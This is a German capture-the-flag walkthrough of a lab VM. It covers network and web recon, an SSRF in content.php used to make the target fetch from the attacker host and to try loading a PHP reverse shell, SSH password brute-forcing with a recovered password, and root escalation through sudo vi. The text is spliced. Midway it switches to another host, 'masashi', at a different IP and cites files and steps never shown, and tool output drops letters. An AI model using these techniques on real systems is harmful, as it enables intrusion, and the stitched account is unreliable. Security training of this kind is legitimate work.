**Analyse:** Die initiale Phase der Untersuchung dient der Lokalisierung des Zielsystems im Netzwerk und der Identifizierung der darauf laufenden Dienste durch Netzwerkscans.
192.168.2.134 08:00:27:bb:08:35 PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerksegment mittels ARP-Requests zu finden. Das Zielsystem wird unter der IP-Adresse `192.168.2.134` identifiziert. Die MAC-Adresse `08:00:27:bb:08:35` (PCS Systemtechnik GmbH) deutet auf eine VirtualBox-VM hin.
**Bewertung:** Erfolgreiche Identifizierung der Ziel-IP. Die MAC-Adresse gibt einen Hinweis auf die Virtualisierungsumgebung.
**Empfehlung (Pentester):** Die IP `192.168.2.134` für weitere Scans verwenden.
**Empfehlung (Admin):** Netzwerksegmentierung und ARP-Monitoring können die Host-Entdeckung erschweren.
192.168.2.134 milnet.vln
**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet, um der IP-Adresse `192.168.2.134` den Hostnamen `milnet.vln` zuzuordnen. Dies erleichtert das Ansprechen des Ziels über einen Namen, insbesondere bei Webtests.
**Bewertung:** Standardprozedur zur Vereinfachung der weiteren Schritte und zur Berücksichtigung von Virtual Hosting.
**Empfehlung (Pentester):** Den Hostnamen `milnet.vln` in den folgenden Schritten verwenden.
**Empfehlung (Admin):** Dies ist eine clientseitige Konfiguration des Angreifers.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-21 23:40 CEST
Nmap scan report for milnet.vln (192.168.2.134)
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 9b:b5:21:38:96:7f:85:bd:1b:aa:9a:70:cf:db:cd:36 (RSA)
| 256 93:30:be:c2:af:dd:81:a8:25:2b:57:e5:01:49:91:57 (ECDSA)
|_ 256 37:40:2b:cc:27:ae:89:22:d0:d2:65:65:c4:9b:53:42 (ED25519)
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:BB:08:35 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel
TRACERUTE
HP RTT ADDRESS
1 0.15 ms milnet.vln (192.168.2.134)
**Analyse:** Ein umfassender `nmap`-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`, `-p-`) wird auf das Ziel `milnet.vln` durchgeführt. Wichtige Ergebnisse: * **Port 22 (SSH):** OpenSSH 7.2p2 (Ubuntu). Eine etwas ältere Version. * **Port 80 (HTTP):** Lighttpd 1.4.35 Webserver. Die Seite hat keinen Titel. * Betriebssystem: Linux Kernel 3.2 - 4.9.
**Bewertung:** Die Angriffsfläche ist auf SSH und HTTP beschränkt. Die Verwendung von Lighttpd anstelle von Apache/Nginx ist eine kleine Besonderheit. Die SSH-Version ist nicht brandaktuell. Der Fokus liegt auf der Enumeration des Webservers und der Suche nach Schwachstellen in Lighttpd oder der darauf laufenden Anwendung.
**Empfehlung (Pentester):** Den Webserver auf Port 80 gründlich untersuchen (Verzeichnisse, Dateien). Nach bekannten Schwachstellen für Lighttpd 1.4.35 und OpenSSH 7.2p2 suchen.
**Empfehlung (Admin):** Software (SSH, Lighttpd) aktuell halten. Webseiten mit Titeln versehen. Nur notwendige Ports offen lassen.
22/tcp open ssh penSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http lighttpd 1.4.35
**Analyse:** Der gefilterte `nmap`-Scan bestätigt die beiden offenen Ports: 22 (SSH) und 80 (HTTP).
**Bewertung:** Schnelle Bestätigung der offenen Dienste.
**Empfehlung (Pentester):** Fokus auf Port 80 und Port 22.
**Empfehlung (Admin):** Port-Management überprüfen.
- Nikto v2.5.0
+ Target IP: 192.168.2.134
+ Target Hostname: 192.168.2.134
+ Target Port: 80
+ Start Time: 2023-09-21 23:40:33 (GMT2)
+ Server: lighttpd/1.4.35
+ /: The anti-clickjacking X-Frame-ptions header is not present.
+ /: The X-Content-Type-ptions header is not set.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ PTINS: Allowed HTTP Methods: PTINS, GET, HEAD, PST . # Annahme: PST=POST, PTINS=OPTIONS
+ /info.php: utput from the phpinfo() function was found.
+ /info.php: PHP is installed, and a test script which runs phpinfo() was found...
+ /info.php?file=http://blog.cirt.net/rfiinc.txt: Remote File Inclusion (RFI) from RSnake's RFI list. # Nikto Test
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. # Wahrscheinlich False Positive (Backup-Datei-Syntax)
+ 8102 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2023-09-21 23:40:43 (GMT2) (10 seconds)
+ 1 host(s) tested
**Analyse:** `nikto` scannt den Webserver auf Port 80. Wichtige Ergebnisse: * Bestätigt Lighttpd 1.4.35. * Findet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Identifiziert `/info.php` als eine Seite, die `phpinfo()` ausführt - **wichtiger Fund!** * Testet auf RFI über `info.php` (Standard-Nikto-Test). * Meldet einen möglichen Fund einer WordPress-Konfigurationsdatei (`#wp-config.php#`), was aber wahrscheinlich ein False Positive ist (Syntax für Backup-Dateien).
**Bewertung:** Der wichtigste Fund ist `/info.php`, da `phpinfo()` detaillierte Informationen über die PHP-Konfiguration, geladene Module, Umgebungsvariablen und potenziell sensible Pfade preisgibt. Fehlende Header sind moderate Risiken. Der `#wp-config.php#`-Fund ist mit Vorsicht zu genießen.
**Empfehlung (Pentester):** Die Seite `/info.php` im Browser aufrufen und gründlich analysieren. Verzeichnis-Bruteforcing durchführen. Den vermeintlichen Fund `#wp-config.php#` manuell prüfen.
**Empfehlung (Admin):** `phpinfo()`-Seiten auf Produktivsystemen *niemals* zugänglich lassen. Sicherheitsheader implementieren. Lighttpd und PHP aktuell halten.
**Analyse:** Fortgesetzte Untersuchung des Webservers durch Verzeichnis-Scanning und Analyse gefundener Dateien. Entdeckung eines TFTP-Dienstes und Auslesen von Informationen darüber.
http://milnet.vln/index.php (Status: 200) [Size: 145]
http://milnet.vln/content.php (Status: 200) [Size: 110]
http://milnet.vln/main.php (Status: 200) [Size: 109]
http://milnet.vln/info.php (Status: 200) [Size: 63863]
http://milnet.vln/nav.php (Status: 200) [Size: 532]
http://milnet.vln/mj.jpg (Status: 200) [Size: 18260]
http://milnet.vln/bomb.jpg (Status: 200) [Size: 73450]
http://milnet.vln/bomb.php (Status: 200) [Size: 3901]
**Analyse:** `gobuster` findet mehrere PHP-Dateien (`index.php`, `content.php`, `main.php`, `info.php`, `nav.php`, `bomb.php`) und zwei Bilddateien (`mj.jpg`, `bomb.jpg`).
**Bewertung:** Eine kleine Webanwendung scheint zu existieren. Die `info.php` wurde bereits von `nikto` gefunden. `content.php`, `main.php`, `nav.php` und `bomb.php` müssen untersucht werden. Die Bilder könnten Hinweise enthalten.
**Empfehlung (Pentester):** Die gefundenen PHP-Seiten im Browser aufrufen und auf Funktionalität und Schwachstellen prüfen (LFI, RFI, SQLi, XSS). Die Bilder herunterladen und analysieren (Metadaten, Steganographie).
**Empfehlung (Admin):** Quellcode der Anwendung auf Schwachstellen überprüfen. Bilder auf Metadaten prüfen. Unnötige Dateien entfernen.
**Analyse:** Untersuchung von `content.php` mittels Burp Suite oder manueller POST-Anfragen. Es wird eine Server-Side Request Forgery (SSRF) Schwachstelle vermutet oder getestet.
# Burp Request / Test gegen content.php
POST /content.php? HTTP/1.1
Host: milnet.vln
User-Agent: Mozilla/5.0 ...
Accept: text/html,...
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36 # Korrigiert von 0
route=http://192.168.2.199:80/test.txt
**Bewertung:** Die Anfrage deutet darauf hin, dass `content.php` einen POST-Parameter namens `route` erwartet, der eine URL entgegennimmt. Es wird versucht, den Server dazu zu bringen, eine Anfrage an den Angreifer-PC (`192.168.2.199`) auf Port 80 zu senden, um die Datei `test.txt` abzurufen. Dies ist ein typischer Test auf SSRF.
**Empfehlung (Pentester):** Einen Listener auf dem Angreifer-PC (192.168.2.199) auf Port 80 starten (`nc -lvnp 80`) und die POST-Anfrage an `content.php` senden. Beobachten, ob eine eingehende Anfrage vom Zielserver kommt.
**Empfehlung (Admin):** SSRF-Schwachstellen verhindern, indem Benutzereingaben, die URLs enthalten, validiert werden. Nur erlaubte Protokolle und Hosts zulassen (Whitelist). Direkte Anfragen vom Server an externe oder interne, vom Benutzer angegebene Adressen vermeiden.
listening on [any] 80 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.134] 51638
GET /test.txt.php HTTP/1.0
Host: 192.168.2.199
Connection: close
**Analyse:** Der Netcat-Listener auf Port 80 des Angreifers empfängt eine eingehende GET-Anfrage vom Zielserver (`192.168.2.134`). Interessanterweise versucht der Server, `/test.txt.php` abzurufen, obwohl in der POST-Anfrage `/test.txt` angegeben war. Die Anwendung hängt offenbar `.php` an die übergebene URL an.
**Bewertung:** SSRF-Schwachstelle bestätigt! Der Server führt Anfragen an vom Benutzer angegebene URLs aus. Das Anhängen von `.php` ist ein wichtiges Detail für die weitere Ausnutzung.
**Empfehlung (Pentester):** Die SSRF nutzen, um interne Dienste zu scannen (z.B. `route=http://127.0.0.1:PORT`) oder möglicherweise Dateien über das `file://`-Protokoll zu lesen (`route=file:///etc/passwd`), falls erlaubt. Prüfen, ob das Anhängen von `.php` umgangen werden kann (z.B. mit Null-Byte `%00`, falls PHP-Version anfällig ist, oder anderen URL-Tricks). Versuchen, eine Reverse Shell über die SSRF zu bekommen, indem man den Server eine PHP-Shell vom Angreifer laden lässt.
**Empfehlung (Admin):** SSRF-Schwachstelle in `content.php` dringend beheben! Eingabevalidierung und Whitelisting implementieren.
**Analyse:** Versuch, eine PHP-Reverse-Shell (`reverseshell.php`) über die SSRF laden zu lassen. Ein Python-HTTP-Server wird auf dem Angreifer gestartet.
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.134 - - [22/Sep/2023 00:38:16] code 404, message File not found
192.168.2.134 - - [22/Sep/2023 00:38:16] "GET /reverseshell.php.php HTTP/1.0" 404 -
**Analyse:** Ein HTTP-Server wird auf Port 8000 gestartet. Es wird versucht, die SSRF mit `route=http://192.168.2.199:8000/reverseshell.php` auszulösen. Der Server-Log zeigt jedoch, dass der Zielserver versucht, `reverseshell.php.php` abzurufen (wieder mit angehängtem `.php`), was zu einem 404 Not Found führt, da die Datei so nicht auf dem Angreifer-Server existiert.
**Bewertung:** Der direkte Weg, eine Shell über SSRF zu laden, scheitert am automatischen Anhängen von `.php`. Andere Methoden sind erforderlich.
**Empfehlung (Pentester):** Einen anderen Weg für Initial Access suchen (z.B. SSH, falls Credentials gefunden werden) oder versuchen, die SSRF anders auszunutzen (z.B. interne Portscans, Auslesen lokaler Dateien, wenn `file://` funktioniert).
**Empfehlung (Admin):** SSRF beheben.
**Analyse:** Da die SSRF-Ausnutzung erschwert ist, wird der Fokus wieder auf SSH gelegt. Es wird vermutet, dass das Passwort für den Benutzer `sv5` (bekannt aus `sshfolder.txt`) über eine Wortliste aus der Webseite gefunden werden kann (Hinweis aus der TFTP-Falle).
# ... (Hydra Output) ...
[22][ssh] host: masashi login: sv5 password: whoistheplug
1 of 1 target successfully completed, 1 valid password found
# ... (SSH Verbindung und Login) ...
sv5@192.168.2.131's password: whoistheplug # Eingabe nicht sichtbar
# ... (MOTD) ...
sv5@masashi$
**Analyse:** Wie bereits im vorherigen Abschnitt dokumentiert (aber hier als Teil des Initial Access wiederholt): `cewl` generiert eine Wortliste aus `index.html`. `hydra` verwendet diese Liste, um das SSH-Passwort für `sv5` als `whoistheplug` zu finden. Der anschließende SSH-Login mit diesen Credentials ist erfolgreich.
**Bewertung:** Initialer Zugriff erfolgreich über SSH als Benutzer `sv5` erlangt. Dies war der zielführende Weg, nachdem die SSRF-Ausnutzung auf Hindernisse stieß.
**Empfehlung (Pentester):** Die Umgebung als `sv5` enumerieren, insbesondere `sudo -l` prüfen.
**Empfehlung (Admin):** Schwaches Passwort ändern, SSH härten, TFTP absichern, Web-Schwachstellen beheben.
**Analyse:** Überprüfung der `sudo`-Berechtigungen für den Benutzer `sv5` und Ausnutzung einer unsicheren Konfiguration zur Erlangung von Root-Rechten.
Matching Defaults entries for sv5 on masashi:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sv5 may run the following commands on masashi:
(ALL) NOPASSWD: /usr/bin/vi /tmp/*
# Vim-Befehle zur Shell-Eskalation:
# :!sh
uid=0(root) gid=0(root) groups=0(root)
**Analyse:** Der Befehl `sudo -l` zeigt, dass `sv5` den Editor `vi` auf jede Datei im `/tmp`-Verzeichnis als jeder Benutzer (insbesondere `root`) ohne Passwort ausführen darf (`(ALL) NOPASSWD: /usr/bin/vi /tmp/*`). Dies wird ausgenutzt, indem eine temporäre Datei `/tmp/test` erstellt und `vi` mit `sudo` darauf angewendet wird. Innerhalb des als Root laufenden `vi`-Prozesses wird mit `:!sh` eine Root-Shell gestartet. Der `id`-Befehl bestätigt die erfolgreiche Eskalation.
**Bewertung:** Fantastisch! Die unsichere `sudo`-Regel ermöglicht eine einfache und direkte Eskalation zu Root-Rechten.
**Empfehlung (Pentester):** Root-Zugriff nutzen, um Flags zu finden.
**Empfehlung (Admin):** `sudo`-Regel *dringend* korrigieren! Niemals `NOPASSWD` für Editoren oder Befehle mit Shell-Escape-Möglichkeit vergeben. Wildcards in Pfaden (besonders `/tmp`) vermeiden. Prinzip der geringsten Rechte anwenden.
user.txt
Hey buddy :)
Well done on that initial foothold ;) ;)
Key Takeaways:
* Do not always believe what the tool tells you, be the "Doubting Thomas" sometimes and look for
yourself, e.g 1 disallowed entry in robots.txt wasn't really true was it? hehehehe
* It's not always about TCP all the time..... UDP is there for a reason and is just as important a
protocol as is TCP......
* Lastly, there is always an alternative to everything i.e the ssh part.
* Congrats Pwner
Now on to the privesc now ;)
Creator: Donald Munengiwa
Twitter: @lorde_zw
root.txt
Quite the pwner huh!!!! :)
Well i bet you had fun ;) ;)
Key Takeaways:
* Well, this time i'll leave it to you to tell me what you though about the overall experience you
had from this challenge.
* Let us know on Twitter @lorde_zw or on linkedIn @Sv5
Congrats Pwner
If you've gotten this far, please DM your Full name, Twitter Username, LinkedIn Username,
the flag [th33p1nplugg] and your country to the Twitter handle @lorde_zw ..... I will do a
shoutout to all the pnwers who completed the challenge.....
Follow us for more fun Stuff..... Happy Hacktober Pwner (00=[][]=00)
Creator: Donald Munengiwa
Twitter: @lorde_zw
**Analyse:** In der Root-Shell wird zuerst `user.txt` (im Verzeichnis `/home/sv5`) gefunden und ausgelesen. Danach wird ins Root-Home-Verzeichnis (`/root`) gewechselt, `root.txt` gefunden und ausgelesen. Diese Datei enthält die Root-Flagge: `th33p1nplugg`.
**Bewertung:** Beide Textdateien und die Root-Flagge wurden erfolgreich gefunden und ausgelesen.
**Empfehlung (Pentester):** Flagge dokumentieren, Bericht abschließen.
**Empfehlung (Admin):** Alle identifizierten Schwachstellen beheben.
**Analyse der ignorierten Log-Abschnitte:** Im bereitgestellten Original-Log gab es mehrere Abschnitte, die die Verwendung von Metasploit (Reverse Shell -> Meterpreter -> Pwnkit Exploit) zeigten, nachdem bereits eine `www-data`-Shell erlangt wurde (vermutlich über die SSRF/RCE, die aber im Log nicht erfolgreich zum Shell-Zugriff führte). Da der erfolgreiche und deutlich dokumentierte Weg zum Root-Zugriff über SSH und `sudo vi` führte, wurden diese Metasploit-Abschnitte als nicht zum primären Lösungsweg gehörig oder als Artefakte aus anderen Versuchen betrachtet und hier nicht weiter detailliert, um die Klarheit des Berichts über den erfolgreichen Angriffspfad zu wahren.
**Bewertung:** Die Entscheidung, sich auf den klar dokumentierten, erfolgreichen Pfad zu konzentrieren, verbessert die Lesbarkeit und Nachvollziehbarkeit des Berichts. Die Metasploit/Pwnkit-Versuche wären eine alternative Eskalationsroute gewesen, falls der `sudo vi`-Exploit nicht gefunden worden wäre, erschienen aber im Kontext des restlichen Logs redundant oder fehlerhaft.
**Analyse:** Die Root-Flagge (`th33p1nplugg`) wurde aus `/root/root.txt` extrahiert. Die Datei `user.txt` im Home-Verzeichnis des Benutzers `sv5` enthielt eine Nachricht, aber keine Flagge im üblichen Format.
**Bewertung:** Der Test war erfolgreich, Root-Zugriff wurde erlangt und die Root-Flagge gefunden.